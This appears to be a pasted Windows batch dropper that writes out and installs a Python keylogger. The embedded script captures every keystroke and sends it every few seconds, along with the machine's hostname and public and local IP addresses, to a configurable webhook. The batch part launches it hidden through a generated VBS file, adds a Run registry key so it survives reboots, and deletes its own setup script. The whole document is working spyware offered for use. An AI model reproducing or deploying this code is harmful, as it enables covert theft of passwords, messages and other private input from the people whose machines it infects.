· 2 years ago · Feb 25, 2023, 02:20 PM
1@echo off
2
3for /f "useback delims=" %%_ in (%0) do (
4 if "%%_"=="___ATAD___" set $=
5 if defined $ echo(%%_
6 if "%%_"=="___DATA___" set $=1
7) >> pynlog.pyw
8goto :next
9
10___DATA___
11#made by https://kairosking.net :)
12from pynput.keyboard import Listener # pip install requests
13from threading import Timer
14import requests # pip install requests
15import socket
16
17msg = ""
18wait_between_send = 5 # in seconds
19webhook_url = "" # put your webhook url in the quotes
20api_key = "" # put your geolocation api key between the quotes > ipgeolocation.io <
21
22def on_press(key):
23 try:
24 global msg
25 if len(str(key)) == 3:
26 key = str(key)[1:-1]
27 msg += str(key)
28 elif str(key) == "Key.space":
29 msg += " "
30 elif str(key) == "Key.enter":
31 msg += "\n"
32 elif str(key) == "Key.backspace":
33 #if len(msg.replace("↞", "")) > 0:
34 #msg = msg[:-1]
35 #else:
36 msg += "↞"
37 except Exception as e:
38 headers = {"content-type": "application/json"}
39 json = {"content": f"```error: {e}```"}
40 r = requests.post(webhook_url, headers=headers, json=json)
41
42def send():
43 try:
44 global msg
45 if len(msg) > 0:
46 headers = {"content-type": "application/json"}
47 ip = requests.get(f"https://api.ipgeolocation.io/getip?apiKey={api_key}", headers=headers).json()["ip"]
48 json = {"content": f"```\nDevice Name: {socket.gethostname()}\nPublic Ip: {ip}\nLocal Ip: {socket.gethostbyname(socket.gethostname())}\n\n{msg}\n```"}
49 r = requests.post(webhook_url, headers=headers, json=json)
50 msg = ""
51 Timer(wait_between_send, send).start()
52 except Exception as e:
53 headers = {"content-type": "application/json"}
54 json = {"content": f"```error: {e}```"}
55 r = requests.post(webhook_url, headers=headers, json=json)
56
57listener = Listener(on_press=on_press)
58listener.start()
59
60Timer(wait_between_send, send).start()
61___ATAD___
62
63:next
64
65echo getpath = Wscript.ScriptFullName > RUNME.vbs
66echo Set objFSO = CreateObject^(^"Scripting.FileSystemObject^"^) >> RUNME.vbs
67echo Set thefile = objFSO.GetFile^(getpath^) >> RUNME.vbs
68echo getfolder = objFSO.GetParentFolderName(thefile) ^& ^"\runpy.bat^" >> RUNME.vbs
69echo CreateObject^(^"Wscript.Shell^"^).Run Chr^(34^) ^& getfolder ^& Chr^(34^)^, 0^, True >> RUNME.vbs
70echo ^@echo off > runpy.bat
71echo cd /d %%~dp0 >> runpy.bat
72echo python pynlog.pyw >> runpy.bat
73
74set curpath=%~dp0
75reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "RUNME" /t REG_SZ /F /D "%curpath%RUNME.vbs"
76
77del "setupstuff.bat